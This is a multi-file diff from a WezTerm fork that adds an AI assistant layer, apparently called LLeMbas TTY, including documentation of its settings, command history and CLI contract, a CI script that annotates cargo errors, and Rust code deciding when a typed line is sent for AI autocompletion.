directory's own settings.
They are kept by the LLeMbas CLI in its own directory on this machine (its README has the
path and the commands: `lembas terminal settings`), not in the working directory, and are
sent nowhere. Nothing is read until your first LLeMbas key or palette entry; once you have
chosen something through the terminal, they are read at the first prompt, so that they hold
from the start. The options in your configuration file are the starting values only: a value
you set through the terminal wins over the file, until you remove it (*LLeMbas: settings*,
or `lembas terminal settings set … <key>=default`).
With a LLeMbas CLI that has no such store (before 2.0.0-beta.20) everything works as before:
a choice holds until the terminal closes, and the terminal says once that remembering it
needs a newer CLI.
**Kept on this machine, sent nowhere:**
- *The command history* behind the suggestions: `~/.local/share/llembas-tty/command-history`,
readable by you alone. One line a command the terminal saw run: when, its exit status, its
directory, its text. Never kept: a line that starts with a space, a command of several
lines, a command that was not found, anything from a private pane, and nothing you type
while a program hides what you type (it is read from the screen, where such text never is).
At most 5000 commands. **To clear it:** *LLeMbas: clear command history*, or delete the
file. To keep none: `history = { enabled = false }`. It is the terminal's own; your
shell's history file is never read.
- *The pane's status record*, which the shell integration writes at every prompt: whether the
shell is at its prompt or running a command, the last exit status, the time, the
directory — not what the command was. It is how LLeMbas knows that a command it typed has
ended. In the terminal's runtime directory, readable by you alone.
The session bar reads what LLeMbas itself tells the terminal about its session.
It does not read the pane.
It does not read the pane. The colours and the suggestion are drawn when a pane is painted:
nothing is written into the pane for them.
## Configuration
@@ -75,21 +226,30 @@ local config = wezterm.config_builder()
require('llembas').apply(config, {
-- every line is optional; these are the defaults
enabled = true, -- false: no layer at all
cli = nil, -- path of `lembas`; nil: the bundled one, then PATH
ai = true, -- false: the terminal starts with AI off (the switch still works)
cli = nil, -- path of `lembas`; nil: PATH, then ~/.local/bin
ide = nil, -- path of `llembas-ide`; nil: the same two places
session_bar = true,
tab_marker = true,
palette = true,
bar = { fields = { 'model', 'mode', 'state', 'context' } },
-- also: 'session', 'title', 'effort', 'tokens', 'spend'
keys = { -- false turns a key off
keys = { -- false turns a key off; any of them can be given a key
ask = { key = 'A', mods = 'CTRL|SHIFT' },
new_session = { key = 'S', mods = 'CTRL|SHIFT' },
resume = { key = 'O', mods = 'CTRL|SHIFT' },
toggle_display = { key = 'D', mods = 'CTRL|SHIFT' },
cli = { key = 'S', mods = 'CTRL|SHIFT' },
ai = { key = 'I', mods = 'CTRL|SHIFT' },
approve = { key = 'Y', mods = 'CTRL|SHIFT' },
deny = { key = 'J', mods = 'CTRL|SHIFT' },
stop = { key = 'G', mods = 'CTRL|SHIFT' },
display = { key = 'D', mods = 'CTRL|SHIFT' },
private = { key = 'H', mods = 'CTRL|SHIFT' },
ide = { key = 'E', mods = 'CTRL|SHIFT' },
ask_screen = false, always = false, new = false, model = false, mode = false,
},
split = { direction = 'Right', size = 0.45 },
new_session_in = 'split', -- or 'tab'
-- (ai, mode, display.width, suggestions, highlight and autocomplete are starting values:
-- what you choose in the terminal is remembered and wins - see Settings)
display = { width = 0.33 }, -- of the pane it opens beside
mode = 'manual', -- the mode a display starts in; or 'auto'
context = {
enabled = true, -- false: questions go alone, nothing of the pane
blocks = 5, -- commands passed on (at most 20)
@@ -97,12 +257,26 @@ require('llembas').apply(config, {
output_bytes = 16384,
alt_screen = false, -- true: also the screen of a full-screen program
},
autocomplete = false,
suggestions = true, -- the rest of the line from your own command history
highlight = true, -- the command line in colours
autocomplete = false, -- AI: true, drawn by the terminal; 'shell', by the shell integration
autocomplete_timeout_ms = 8000, -- how long LLeMbas is given for the rest of a line
history = { enabled = true, max = 5000 },
colors = { -- a number of your colour scheme's palette, '#rrggbb', or false
prefix = 6, ghost = 8, notice = 3,
command = 2, unknown = false, option = false, string = 3,
variable = 6, operator = 5, comment = 8, path = 4,
},
})
return config
```
The colours are numbers of your colour scheme's palette, so they follow your theme.
`unknown` — a command that is not found — is left alone by default, because the terminal
looks in `PATH` and does not know your shell's aliases and functions; give it a colour to
mark such words.
To have none of it: leave the line out of your file, pass `{ enabled = false }`,
or start with `llembas-tty -n`.
@@ -120,16 +294,18 @@ unpacking the tarball, add to `~/.zshrc` or `~/.bashrc`:
```
It marks commands and their output for the terminal (WezTerm's own
integration script, OSC 133 and OSC 7) and does nothing outside LLeMbas TTY.
integration script, OSC 133 and OSC 7), writes the pane's status record, and
does nothing outside LLeMbas TTY. The suggestions and the colours need it: it
is how the terminal knows which cells are your command line.
### Autocomplete
**On another machine**, reached with `ssh` from a pane: copy `llembas-tty.sh` and `wezterm.sh`
there and source the first from that shell's rc file with `LLEMBAS_TTY` set (for instance
`[ -n "$SSH_CONNECTION" ] && LLEMBAS_TTY=remote . ~/.llembas-tty.sh`). Suggestions and
colours then work there too, drawn by your terminal; whether a command or a path exists is
not marked, since that is the other machine's to know.
Set `autocomplete = true` in the options above; new panes then have
`LLEMBAS_TTY_AUTOCOMPLETE=1` and the shell integration turns completion on.
The line you are typing is sent to `lembas complete` after a short pause —
never an empty line, never a line that starts with a space, never outside
LLeMbas TTY. What comes back is put on the line as text; nothing runs until
you press Enter. If zsh-autosuggestions is loaded, ours stays off.
The older autocomplete drawn by the shell itself (zsh shows it, bash completes on
`Ctrl+X Ctrl+A`) is still there as `autocomplete = 'shell'`.
---
+1 -1
View File
@@ -1 +1 @@
1.0.0-beta.1
1.0.0-beta.5
-1
View File
@@ -1 +0,0 @@
2.0.0-beta.18
+158 -31
View File
@@ -9,19 +9,51 @@ merging upstream stays cheap (`git grep -n 'LLeMbas TTY:'` lists them all).
llembas/
lua/default-config.lua the configuration used when a person has none
lua/llembas/init.lua the layer: keys, palette, events, panes, files
lua/llembas/core.lua every decision, as pure functions (no terminal needed)
tests/run.lua tests of both, against tests/fake_wezterm.lua
lua/llembas/core.lua every decision of the layer, as pure functions
line/ a Rust crate with no dependencies: what is decided about a line of
text (the ask line's editor, the input line read from the screen,
the command history, suggestions, the parts of a command line)
tests/run.lua tests of the layer, against tests/fake_wezterm.lua
tests/shell-test.sh the shell integration's status record, in a real bash and zsh
tests/smoke.sh headless test of built binaries (CI)
shell/ shell integration: zones, cwd, prompt autocomplete
shell/ shell integration: zones, cwd, the status record
packaging/ desktop file, appdata, icons, package.sh (.deb, tarball)
ci/ disable-upstream-workflows.sh
setup/llembas-tty-setup installs the LLeMbas CLI and LLeMbas IDE when missing, verified
ci/ cargo-annotated.sh, disable-upstream-workflows.sh
wezterm-gui/src/llembas/ the thin Rust part in the terminal: the ask line (an overlay), what
is drawn on the input line when a pane is painted, wezterm.llembas
scripts/
test-lua.sh run tests/run.lua with lua5.4, lua, luajit or nvim -l
fetch-cli.sh the pinned LLeMbas CLI (llembas-cli.version), verified
hygiene.sh nothing private in what the fork adds
.github/workflows/llembas-tty.yml
```
## The three parts
| Part | Where | What it may do |
|---|---|---|
| The layer | `llembas/lua/` (Lua, built into the binary) | keys, palette, events; starts the display; talks to the CLI; writes the context file. Tested here, without a terminal. |
| The line logic | `llembas/line/` (Rust, no dependencies) | decides: editing, where the input line is among cells, what to suggest, what a part of a command line is. Knows no window, pane or font. Tested by `cargo test -p llembas-line`. |
| The drawing | `wezterm-gui/src/llembas/` (Rust) | fetches cells, places the result, takes keys. As thin as it can be, because only a person at a screen can check it. |
The layer asks for the drawing through `wezterm.llembas` (`wezterm-gui/src/llembas/lua.rs`):
`ask_line(window, pane, { prefix, event })`, `configure { … }`, `notice(pane, text)`,
`set_private(pane_id, on)`, `command_ended(pane, exit, cwd)`, `clear_history()`. The layer
looks for each before calling it, so it also runs where they are missing (the mux server,
the tests).
**Upstream files the drawing touches**, each one block with a `LLeMbas TTY:` comment:
| File | The block | Why there |
|---|---|---|
| `wezterm-gui/src/main.rs` | `mod llembas;` and one `add_context_setup_func` | where the terminal's other Lua modules are registered |
| `wezterm-gui/src/termwindow/render/pane.rs` | the pane's `with_lines_mut` goes through `llembas::decorate::with_lines_mut` | the one place a pane's lines are handed to the painter; with nothing on it is the same call as before |
| `wezterm-gui/src/termwindow/keyevent.rs` | a key no binding took may take the suggestion | after key bindings, before the key is sent to the pane |
| `wezterm-gui/Cargo.toml`, `Cargo.lock` | the dependency on `llembas/line` | |
The ask line needs no block of its own: it is an overlay over the pane, as the terminal's
search and quick select are, assigned through the functions those use.
## How the layer gets into the terminal
`config/src/llembas.rs` compiles the Lua files in as text (`include_str!`)
@@ -53,16 +85,28 @@ A new Lua module must be added to `MODULES` in `config/src/llembas.rs`.
## The contract with the LLeMbas CLI
The agent is the LLeMbas CLI, unchanged in role. The terminal drives it:
The engine is the LLeMbas CLI; its specification (`harness/acp.md` in the CLI's repository,
*A terminal as the client*, contract 2) is the authority. What the terminal does of it, and
where each point is in the code (one function or constant each, in `lua/llembas/core.lua`):
| The terminal | The CLI |
|---|---|
| reads user variables `lembas_session`, `lembas_title`, `lembas_model`, `lembas_mode`, `lembas_effort`, `lembas_state` (`idle`, `waiting`, `thinking`, `tools`, `writing`, `asking`), `lembas_context` (percent), `lembas_tokens`, `lembas_spend` | sets them with OSC 1337 `SetUserVar` |
| starts `lembas --terminal-context <file>` in a new pane, or writes `/terminal-context <file>` + Enter into a running session | reads the file, deletes it |
| writes the question as a bracketed paste + Enter, once the session reports `lembas_state=idle` | takes it as a prompt |
| exports `LLEMBAS_TTY` (version), `LLEMBAS_TTY_PANE`, `LLEMBAS_TTY_EXECUTABLE` to every pane | its terminal tools run `$LLEMBAS_TTY_EXECUTABLE cli send-text --pane-id N --no-paste` and `cli get-text --pane-id N` |
| shell integration pipes the line so far to `lembas complete --shell <zsh\|bash> --cwd <dir> --timeout-ms 2500` | prints only the rest of the line; nothing means no suggestion |
| runs `lembas sessions --json` for the resume list (falls back to `/sessions` in a new session) | prints a list of objects with `id`, and `title`, `model`, `root` |
| The terminal | Where | The CLI |
|---|---|---|
| asks what the CLI can do: `lembas --version --json`; needs `terminal_contract` ≥ 2 and the part it is about to use (`terminal_surface`, `terminal_models`) | `cli_info`, `cli_has`, `CAP`, `CONTRACT` | prints one JSON object |
| starts the display: `lembas terminal --window <id> --pane <n> [--terminal-context <file>] [--mode manual\|auto] [--new]`, to the right of the pane; the id is this run of the terminal and the tab | `display_args`, `window_id`, `held` | one conversation per id |
| writes a question, in one write: `/terminal-context <file>` + Enter when there is a context, then the question as a bracketed paste + Enter; at once when the display reports a state, else when it first says `idle` | `ask_bytes` | a new turn, or words added to the running one |
| writes a line for the display, each one write: `/approve`, `/always`, `/deny`, `/stop`, `/new`, `/model <ref>`, `/mode <name>` | `DISPLAY_KEYS`, `display_line` | |
| reads user variables `lembas_session`, `_title`, `_model`, `_mode`, `_effort`, `_state` (`idle`, `waiting`, `thinking`, `tools`, `writing`, `asking`), `_context`, `_tokens`, `_spend`, and of the display `lembas_surface` (`display`) and `lembas_ask` (`<kind> <keys> <text>`) | `session_from_vars`, `parse_ask` | sets them with OSC 1337 `SetUserVar` |
| lists and sets the terminal's two models: `lembas terminal models --json`, `lembas terminal models set --main\|--autocomplete <model>` | `models_args`, `models_set_args`, `terminal_models` | keeps them |
| exports `LLEMBAS_TTY` (version), `LLEMBAS_TTY_PANE`, `LLEMBAS_TTY_EXECUTABLE`, `LLEMBAS_TTY_STATUS_DIR` to every pane | Rust (identity), `apply` | types into a pane with `$LLEMBAS_TTY_EXECUTABLE cli send-text --pane-id N --no-paste`, reads it with `cli get-text` |
| the shell integration writes the pane's status record at every prompt and when a command starts: `$LLEMBAS_TTY_STATUS_DIR/pane-<n>.status` and the user variable `llembas_tty_status`; the layer writes the file from the variable for a shell that could not (`via=uservar`) | `shell/llembas-tty.sh`, `parse_status`, `status_text`, `status_dir`, `status_dir_of` | waits for it after typing a command |
| asks for the rest of a line: the line on standard input (then closed) of `lembas complete --shell <bash\|zsh\|fish> --cwd <dir> --timeout-ms <n> [--model <id>] [--debug]`, with `LLEMBAS_TTY` set; `<n>` is 8000 (the option), and 20000 at least for the first request after a change; `--debug` only once the CLI said it has contract 3; `--cwd` is always given (the engine requires it): the pane's directory, else the home directory | `llembas_line::complete` (`args`, `run`, `decide`), `wezterm-gui/src/llembas/complete.rs` | prints only the rest; nothing means no suggestion; what it writes to standard error is the sentence shown by *autocomplete status* |
| reads and writes what the person chose (contract 3, `terminal_settings`): `lembas terminal settings --cwd <dir> --json` → `{ effective = { <key> = <value> }, from = { <key> = "default" \| "global" \| "<directory>" }, directory = { path } \| null }`; `lembas terminal settings set (--global \| --cwd <dir>) --json <key>=<value>` (`default` removes it); `lembas terminal settings forget --cwd <dir> --json` (the entry's own path, which may be a directory above the pane's: the nearest entry applies). Keys: `ai`, `autocomplete`, `suggestions`, `highlight` (`true`/`false`), `mode`, `main_model`, `autocomplete_model`, `display_width` (a part of the pane, `0.2` to `0.6`, written `0.40`; percent is read too) | `SETTINGS`, `settings_args`, `settings_set_args`, `settings_forget_args`, `settings_entry`, `setting_value`, `setting_text` | keeps them, for the machine and by directory |
| writes the input mark `pane-<n>.input` beside the status record (mode 0600, written whole): `llembas-tty-input=1`, `id=`, `seq=` (the status record's), `typed=0\|1` | `llembas_line::mark`, `state::mark_input`, `decorate::compute`; the layer hands the record over with `wezterm.llembas.status` | places a command only at an empty prompt; the mark counts while its id and seq are the record's and the record is at `prompt` |
| shows a hint while a command placed at the prompt waits for the person (contract 3, `terminal_placed`): `lembas_ask` = `placed <the command>` | `PLACED_KIND`, `parse_ask`, `messages.placed` | places the command without Enter and watches the status record: a new prompt with `ran=1` is "ran", one without is "dismissed" |
The status directory is `<runtime directory>/llembas-tty/status-<process id of the terminal>`:
two terminals number their panes alike, so each keeps its records apart. Directories of
terminals that are gone are removed when a display starts.
The context file is JSON, mode 0600, in the terminal's runtime directory,
named `context-<unix seconds>-<random>.json`:
@@ -73,13 +117,84 @@ named `context-<unix seconds>-<random>.json`:
"screen": "…only when the shell marks no commands…" }
```
`exit` is always `null` today: WezTerm's Lua interface does not expose the
exit status that OSC 133 `D` carries. Files older than ten minutes are
removed the next time one is written.
It is still version 1 (which the CLI reads): `exit` is `null`, and the blocks carry no
`seq`. Files older than ten minutes are removed the next time one is written.
Whether a CLI is new enough is decided in exactly one function,
`core.cli_supports_terminal`, today by comparing `lembas --version` with
`core.MIN_CLI_VERSION`.
### Settings: when the engine is asked
`init.lua` (*What the person chose, remembered*). `M.value(key)` is the one place a setting
is read: the store's value for the directory that applies (`directory`, then `global`), else
what was chosen in this run (`session`: a CLI without the store, or a write it refused),
else the options (`config`). A store value whose source is `default` is not used: the
options are the defaults.
- Nothing is read at start-up. `settings_awake`: from the first key or palette entry of
LLeMbas in this run — or from the first prompt, when the empty file `settings-chosen` in
the terminal's data directory says the person chose something through the terminal before
(written at the first successful `set`).
- `follow(pane)` makes the settings of the active pane's directory the ones that apply: at a
new prompt of the active pane (the status record), at `update-status` (the active pane
changed) and at every key of LLeMbas. What the store said of a directory is kept for a
minute (`wezterm.GLOBAL`, at most 64 directories); the whole of it is dropped after one of
our own writes. A directory whose shell reports another host is not asked about.
- Every call of the engine is `wezterm.run_child_process` inside an event handler, which is
asynchronous: the window's thread is never held.
- A change of the applying settings goes to the terminal's own part (`configure`), to the
ask line's prefix and to the next display's arguments (`-m`, `--mode`, the split's size).
A display that runs is not changed by a change of directory.
### A word that stands
`wezterm.llembas.hint(pane id, text | nil, gentle, source pane id)` keeps a word at the
cursor's row of a pane until it is taken away, or until the source pane (the display) is
gone. `sync_hint` in `init.lua` makes it what the display says now (`lembas_ask`): at the
display's user variables and at `update-status`. An approval or a question may be drawn
reversed over the end of the row, as a notice is; a *gentle* hint (a placed command) is
drawn only beside what the row shows or on the empty row below, and not at all otherwise.
### Whether the input at the prompt is empty: the input mark
The engine places a command only at an empty prompt. The shell's hook cannot say how much is
typed (it runs before the line is edited); the terminal can, because the shell integration
marks the input cells. So the terminal writes the *input mark* of the engine's specification.
- The layer hands each status record to the terminal's own part (`wezterm.llembas.status`:
pane, id, seq, state, the status directory) — with AI on, for a local pane; otherwise it
says the pane is no longer followed, and the mark is removed.
- When a pane whose shell is at a prompt is painted (`decorate::compute`), `typed` is: an
input cell that shows something on the cursor's row; else an input zone that nothing
follows and that shows something (a line carried on over rows). The mark is written when
the record or the answer changed (`state::mark_input`), beside the record, whole.
- What it cannot be: ahead of the screen. It is as old as the last painting of the pane — a
frame behind the typing, and not kept up for a pane that is not shown. A mark of an
earlier prompt does not count (its `seq` is not the record's), and while a new prompt is
being drawn the mark errs towards `typed=1`: a command is then not placed, never added to
something typed.
- Marks of terminals that are gone are removed with their status records.
## What the terminal draws on the input line
`wezterm-gui/src/llembas/decorate.rs`, at the moment a pane is painted: the rows near the
cursor are read as cells, `llembas_line::zone` finds the input line among them (the cells the
shell integration marked as input, touching the cursor), and a *plan* says which cells get
another text colour and what text is placed after the cursor. The painter is handed the
pane's own lines, with copies of the few rows the plan changes. Nothing is written to the
pane and the terminal's model of the screen is not touched. The plan is kept while the
pane's content, the cursor and what is on stay the same.
Off for a pane: while a full-screen program has it, without the shell integration, when the
input line is longer than three rows, under an overlay (search, copy mode, the ask line),
and when the options are off. The suggestion is drawn only in the pane that has the
keyboard, over blank cells only. Whether a command or a path exists is looked up only for a
local pane whose shell reports this machine as its host.
The AI's suggestion: `llembas_line::complete::decide` says whether the line is asked about
and, when not, why (`Skip`); `Tracker` allows one request at a time and remembers the answer
for a line; `run` starts the engine (standard library only, so `cargo test -p llembas-line`
runs it against a stand-in script); `Log` keeps the last eight attempts in memory for
`wezterm.llembas.complete_status()`. The pane's directory is decoded from the path of the
address its shell reported (`dir_of_url_path`): the URL library's own conversion to a file
path refuses every address that names a host, and the shell integration always names one.
## Checking a change without building
@@ -87,10 +202,15 @@ Whether a CLI is new enough is decided in exactly one function,
scripts/test-lua.sh --all # the layer, with every Lua found
scripts/hygiene.sh
rustfmt --check --edition 2018 <file> # for a Rust file you touched
rustfmt --check --edition 2021 llembas/line/src/*.rs
llembas/tests/shell-test.sh # the status record, in bash and zsh
shellcheck llembas/shell/*.sh llembas/shell/autocomplete.bash; zsh -n llembas/shell/autocomplete.zsh
```
The terminal itself is built by CI only. `llembas/tests/smoke.sh <dir>` runs
The terminal itself is built by CI only, and so are the tests of `llembas/line`
(`cargo test -p llembas-line`, the first Rust step of the workflow). CI's log needs a login
to read; `llembas/ci/cargo-annotated.sh` therefore turns every compiler error and failed test
into an annotation on the run, which does not. `llembas/tests/smoke.sh <dir>` runs
against built binaries with no display: names, directories, variables, the
built-in layer and the `cli` commands the LLeMbas CLI uses.
@@ -114,8 +234,9 @@ repository needs:
- The whole history, tags included: the hygiene check needs the commit named
in `UPSTREAM`, and a release needs the signed tag object for its notes.
- No secret: the workflow uses only the `GITHUB_TOKEN` it is given, with
`contents: write` for the release. The LLeMbas CLI is fetched from its
public releases and verified against the release key in `scripts/fetch-cli.sh`.
`contents: write` for the release. Nothing else is fetched: the package
carries neither the LLeMbas CLI nor LLeMbas IDE (`setup/llembas-tty-setup`
installs them on a person's machine, checked against the release key).
- Workflow permissions that allow `contents: write` (Settings → Actions →
General → Workflow permissions), or the release step is refused.
@@ -131,9 +252,12 @@ scripts/test-lua.sh --all
Conflicts can only be in the blocks that grep lists. If upstream changes how
panes get their environment, how configuration files are found, or the Lua
API the layer calls (`pane:get_semantic_zones`, `get_text_from_semantic_zone`,
`get_user_vars`, `split`, `PromptInputLine`, `InputSelector`,
`update-status`, `format-tab-title`, `augment-command-palette`,
`user-var-changed`), re-read those blocks and `lua/llembas/init.lua`.
`get_user_vars`, `split`, `activate`, `tab_id`, `PromptInputLine`, `InputSelector`,
`SpawnCommandInNewTab`, `TogglePaneZoomState`, `update-status`, `format-tab-title`,
`augment-command-palette`, `user-var-changed`), re-read those blocks and
`lua/llembas/init.lua`. If it changes the `Pane` trait, how overlays are assigned
(`assign_overlay_for_pane`), `WithPaneLines`, or `Line`'s cells, re-read
`wezterm-gui/src/llembas/` against `overlay/quickselect.rs`, which it is modelled on.
## Later
@@ -149,8 +273,11 @@ API the layer calls (`pane:get_semantic_zones`, `get_text_from_semantic_zone`,
binary names); the packaging (`ci/deploy.sh`, the installer script, the
`.app` directory's name and icon) still carries WezTerm's names, and the
layer writes its context file with `chmod`, which Windows does not have.
- **fish.** Ghost text in fish means replacing its own autosuggestion, which
it does not offer a hook for; a key binding like bash's
(`commandline -i (… | lembas complete --shell fish)`) is the part that fits.
- **Ghost text drawn by the terminal** instead of by the shell would work in
every shell and over ssh, and needs Rust in the renderer and the key path.
- **fish.** The shell integration is for bash and zsh. What the terminal draws needs only
the marks around the input line (OSC 133) and the status record; a `llembas-tty.fish` that
gives both is the part to write.
- **The shell's aliases and functions** are not known to the terminal, so a command that is
one is not marked as existing (and `colors.unknown` is off by default for that reason). The
shell integration could publish their names.
- **Context file version 2** (`blocks[].seq`, `host`): the terminal would keep the status
record's `seq` with each command it saw.
+68
View File
@@ -0,0 +1,68 @@
#!/usr/bin/env bash
# Run a cargo command so that what goes wrong can be read from the run's annotations, which
# need no login, as well as from its log, which does.
#
# llembas/ci/cargo-annotated.sh build --release --locked -p wezterm-gui
# llembas/ci/cargo-annotated.sh test --release --locked -p config
#
# cargo is asked for its messages as JSON (the option is put right after the subcommand, so
# no `--` with arguments for the tests may be given). Then:
# - every compiler error is printed as the compiler rendered it, and becomes an annotation at
# its file and line. A step shows ten annotations at most, so the first nine stand alone and
# the next thirty share the tenth;
# - what the tests printed is shown as it was, and when they failed the lines that say which
# and why become one annotation;
# - a failure that is neither (a build script, the linker, cargo itself) is annotated with the
# end of what cargo wrote.
# The exit status is cargo's.
set -uo pipefail
[ "$#" -ge 1 ] || { echo "usage: cargo-annotated.sh <subcommand> [arguments]" >&2; exit 2; }
work="$(mktemp -d)"
trap 'rm -rf "${work:?}"' EXIT
sub="$1"
shift
"${CARGO:-cargo}" "$sub" --message-format=json "$@" >"$work/out" 2> >(tee "$work/err" >&2)
rc=$?
# the tee above is another process: let it finish writing
sleep 1
# What is not a JSON message is what a test binary printed.
grep -v '^{' "$work/out" >"$work/plain" || true
cat "$work/plain"
# One line per error: the annotation command, with the message escaped for it.
jq -rR '
def esc: gsub("%"; "%25") | gsub("\r"; "%0D") | gsub("\n"; "%0A");
fromjson?
| select(type == "object" and .reason == "compiler-message")
| .message
| select(.level == "error" or .level == "error: internal compiler error")
| select((.message // "") | startswith("aborting due to") | not)
| ((.spans // []) | map(select(.is_primary)) | .[0]) as $s
| ((.rendered // .message // "") | .[0:1800] | esc) as $text
| if $s then "::error file=\($s.file_name),line=\($s.line_start),title=rustc::\($text)"
else "::error title=rustc::\($text)" end
' "$work/out" >"$work/errors" 2>/dev/null || true
# In the log: every error as rendered, whether cargo failed or not.
jq -rR 'fromjson? | select(type == "object" and .reason == "compiler-message") | .message
| select(.level | startswith("error")) | .rendered // .message' "$work/out" 2>/dev/null || true
if [ "$rc" -ne 0 ] && [ -n "${GITHUB_ACTIONS:-}" ]; then
count="$(wc -l <"$work/errors")"
head -n 9 "$work/errors"
if [ "$count" -gt 9 ]; then
rest="$(sed -n '10,39p' "$work/errors" | sed 's/^::error [^:]*title=rustc:://; s/^::error title=rustc:://' | awk 'BEGIN{ORS="%0A%0A"} {print substr($0, 1, 700)}')"
printf '::error title=rustc (%s errors in all, from the tenth)::%s\n' "$count" "$rest"
fi
failing="$(grep -E -A6 'panicked at|^---- .* ----$|^test .* FAILED$|^failures:$|test result: FAILED' "$work/plain" | head -n 80 | head -c 6000)"
if [ -n "$failing" ]; then
printf '::error title=cargo %s: tests::%s\n' "$sub" "$(printf '%s' "$failing" | sed 's/%/%25/g' | awk 'BEGIN{ORS="%0A"} {print}')"
fi
if [ "$count" -eq 0 ] && [ -z "$failing" ]; then
printf '::error title=cargo %s failed::%s\n' "$sub" "$(tail -n 40 "$work/err" | head -c 6000 | sed 's/%/%25/g' | awk 'BEGIN{ORS="%0A"} {print}')"
fi
fi
exit "$rc"
+17
View File
@@ -0,0 +1,17 @@
# LLeMbas TTY: what the terminal decides about a line of text, with no terminal in it.
# The ask line's editor, the shell's input line as read from the screen, the terminal's own
# command history and its suggestions, and the colours of a command line. Nothing here knows
# about a window, a pane or a font: wezterm-gui/src/llembas/ is the thin part that does, and
# this crate is the part that is tested (`cargo test -p llembas-line`).
[package]
name = "llembas-line"
version = "0.1.0"
edition = "2021"
license = "MIT"
publish = false
description = "LLeMbas TTY: the logic of the ask line, suggestions and highlighting, without a terminal"
[lib]
path = "src/lib.rs"
[dependencies]
+977
View File
@@ -0,0 +1,977 @@
//! Asking LLeMbas for the rest of a line: whether to ask, what is asked, how
//! the engine is run, and what is remembered of it for the person.
//!
//! Nothing here knows a pane or a window. The window's side gives plain
//! values (what is typed, what is on) and gets back a decision; the engine is
//! run here too, with nothing but the standard library, so that the whole way
//! from "a line was typed" to "this is what the engine was given" is tested
//! without a terminal.
//!
//! What comes back from the engine is a model's text: it is cleaned to one
//! plain line ([`crate::suggest`]) and only ever offered, never run.
use crate::suggest;
use std::collections::{HashMap, VecDeque};
use std::io::{Read, Write};
use std::process::{Command, Stdio};
use std::time::{Duration, Instant, SystemTime};
/// The pause in the typing before LLeMbas is asked, in milliseconds.
pub const PAUSE_MS: u64 = 350;
/// The fewest characters a line must have to be asked about.
pub const MIN_CHARS: usize = 3;
/// The most bytes of a line that is asked about.
pub const MAX_BYTES: usize = 2000;
/// How long the engine is given for an answer when nothing else is said. A
/// model that runs on the person's own machine may have to be loaded for the
/// first answer, and an engine that is stopped before that never loads it.
pub const TIMEOUT_MS_DEFAULT: u64 = 8_000;
/// What the first request gets after autocomplete was switched on or its
/// model changed: the model may not be loaded yet.
pub const TIMEOUT_MS_COLD: u64 = 20_000;
/// What the engine starts a line with that says one of its decisions
/// (`--debug`): lengths and names, never the line.
pub const DEBUG_PREFIX: &str = "lembas complete: debug: ";
pub const TIMEOUT_MS_MIN: u64 = 500;
/// The most the engine itself accepts.
pub const TIMEOUT_MS_MAX: u64 = 30_000;
/// How much longer than its own timeout the engine is waited for before it
/// is stopped: its start, and its saying that it gave up.
pub const GRACE_MS: u64 = 2_000;
/// How many attempts are remembered for the person.
pub const ATTEMPTS: usize = 8;
/// The timeout as it is used: what was asked for, within what the engine
/// takes; `0` is "nothing was said".
pub fn clamp_timeout(ms: u64) -> u64 {
if ms == 0 {
TIMEOUT_MS_DEFAULT
} else {
ms.clamp(TIMEOUT_MS_MIN, TIMEOUT_MS_MAX)
}
}
/// The timeout of one request: the first after a change is given longer.
pub fn timeout_for(ms: u64, cold: bool) -> u64 {
let timeout = clamp_timeout(ms);
if cold {
timeout.max(TIMEOUT_MS_COLD)
} else {
timeout
}
}
/// Why LLeMbas is not asked about a line.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Skip {
/// The AI's autocomplete is off (or AI is).
Off,
/// No LLeMbas CLI was found.
NoEngine,
/// The pane is private.
Private,
/// The pane's shell is not on this machine.
NotThisMachine,
/// The cursor is not at the end of the line.
NotAtEnd,
/// Nothing is typed.
Empty,
/// The line starts with a space: by the shells' own custom such a line is
/// not for remembering, and it is not sent anywhere either.
LeadingSpace,
TooShort,
TooLong,
/// The terminal's own history had a suggestion: that one is shown.
History,
}
impl Skip {
/// In words, for the person.
pub fn sentence(self) -> &'static str {
match self {
Skip::Off => "AI autocomplete is off",
Skip::NoEngine => "the LLeMbas CLI (lembas) was not found",
Skip::Private => "the pane is private",
Skip::NotThisMachine => {
"the pane's shell is not on this machine (another domain, or its directory names another host)"
}
Skip::NotAtEnd => "the cursor was not at the end of the line",
Skip::Empty => "nothing was typed",
Skip::LeadingSpace => "the line starts with a space",
Skip::TooShort => "the line was shorter than 3 characters",
Skip::TooLong => "the line was too long",
Skip::History => "your own command history had a suggestion, and that one is shown",
}
}
}
/// What the window's side knows when a line could be asked about.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Conditions {
/// The AI's autocomplete is on (and AI is).
pub on: bool,
/// A LLeMbas CLI was found.
pub engine: bool,
pub private: bool,
/// The pane's shell is on this machine.
pub this_machine: bool,
/// The cursor is at the end of the input line.
pub at_end: bool,
/// The terminal's own history has a suggestion for the line.
pub history: bool,
}
/// Is LLeMbas asked about this line? `Ok` with the line as it is asked, or
/// why not. The first reason that holds is given, the switch first: with
/// autocomplete off nothing else is looked at.
pub fn decide<'a>(c: &Conditions, typed: &'a str) -> Result<&'a str, Skip> {
if !c.on {
return Err(Skip::Off);
}
if !c.engine {
return Err(Skip::NoEngine);
}
if c.private {
return Err(Skip::Private);
}
if !c.at_end {
return Err(Skip::NotAtEnd);
}
if typed.trim().is_empty() {
return Err(Skip::Empty);
}
if typed.starts_with(' ') {
return Err(Skip::LeadingSpace);
}
if typed.chars().count() < MIN_CHARS {
return Err(Skip::TooShort);
}
if typed.len() > MAX_BYTES || typed.chars().any(|c| c == '\n' || c == '\r') {
return Err(Skip::TooLong);
}
if c.history {
return Err(Skip::History);
}
if !c.this_machine {
return Err(Skip::NotThisMachine);
}
Ok(typed)
}
/// The directory in the path of a `file://` URL, as a pane's shell reported
/// it (OSC 7): percent-decoded, absolute, plain text. `None` when it is not
/// that.
///
/// The shell integration writes `file://<host><directory>`. A URL library's
/// own "to a file path" refuses every URL that names a host, so the path is
/// decoded here and the host is compared by [`same_host`].
pub fn dir_of_url_path(path: &str) -> Option<String> {
let bytes = path.as_bytes();
let mut out: Vec<u8> = Vec::with_capacity(bytes.len());
let mut i = 0;
while i < bytes.len() {
if bytes[i] == b'%' && i + 2 < bytes.len() {
let hex = |b: u8| (b as char).to_digit(16);
if let (Some(hi), Some(lo)) = (hex(bytes[i + 1]), hex(bytes[i + 2])) {
out.push((hi * 16 + lo) as u8);
i += 3;
continue;
}
}
out.push(bytes[i]);
i += 1;
}
let dir = String::from_utf8(out).ok()?;
if !dir.starts_with('/') || dir.chars().any(|c| c.is_control()) {
return None;
}
Some(dir)
}
